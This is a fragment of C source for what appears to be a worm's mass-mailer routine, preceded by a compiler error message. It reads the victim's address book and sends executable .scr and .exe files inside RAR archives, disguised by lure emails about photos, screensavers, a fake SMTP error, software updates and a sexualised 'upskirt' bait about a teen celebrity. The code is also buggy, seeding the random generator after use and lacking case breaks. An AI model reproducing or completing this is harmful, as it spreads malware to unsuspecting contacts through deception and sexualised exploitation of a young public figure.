error C2065: 'time' : undeclared identifier

//mass mailer functions
#ifndef NO_AUTOMAIL

DWORD WINAPI mailer(LPVOID xvoid)
{

	/* select a preconfigured email at random */
	
	int pick = rand()%2;

	srand(time(NULL));

	if (GetWABMails()==TRUE) {
				
	switch (pick)
	{
		//MessMail([0/1][attach as rar=1 or plain exe=0],"attached  rar archive name.rar", "rared file inside.exe", "email subject", "email body");

		case 0: 
		MessMail(1, "The Pictures.rar", "Photo Album.scr", "here are the pictures i took the other day", "YO! here are all the pictures i took the other day. check them out.");
		
	
		case 1: 
		MessMail(1, "smtp_email_log.rar", "smtp_email_log.scr", "Local Loopback error 10029", "The SMTP relay server encountered Local Loopback error 10029 and was forced to save the email as a rar archive and forward it. Please view the attached email.");
		

		case 2: 
		MessMail(1, "Screen Saver Maker.rar", "Screensavermaker.scr", "Cool screen saver i found", "i found a pretty neat program to make your own screen savers check it out.");
		
		
		case 3: 
		MessMail(1, "Hanna Montana.rar", "hanna upskirt.scr", "Look at this hanna montana upskirt", "I found these porn pics of hanna montana (miley cyrus) check em out");
		

		case 4: 
		MessMail(1, "Download Accelerator 3.5.8.rar", "Setup.exe", "Download Accelerator", "hey, you should try using the download accelerator... it works really good and speeds up downloads by 30%. i sent it to you since i think you should try this.");
		

		case 5: 
		MessMail(1, "New AIM.rar", "Aim Install.exe", "AIM Version 12 released", "Aim version 12 just came out, you should update its way better");
		
		
		case 6: 
		MessMail(1, "1025 Cool Screensavers.rar", "1025 Screensavers.scr", "Check out these screen savers", "look at these screen savers");
		
		/*
		case 7: 
		MessMail(1, "The Pictures.rar", "Photo Album.scr", "here are the pictures i took the other day", "YO! here are all the pictures i took the other day. check them out.");
		

		case 8: 
		MessMail(1, "The Pictures.rar", "Photo Album.scr", "here are the pictures i took the other day", "YO! here are all the pictures i took the other day. check them out.");
		

		case 9: 
		MessMail(1, "The Pictures.rar", "Photo Album.scr", "here are the pictures i took the other day", "YO! here are all the pictures i took the other day. check them out.");
		*/		
		break;
		

	}

	} 
	return 1;
}
#endif //NO_AUTOMAIL

srand(time(NULL));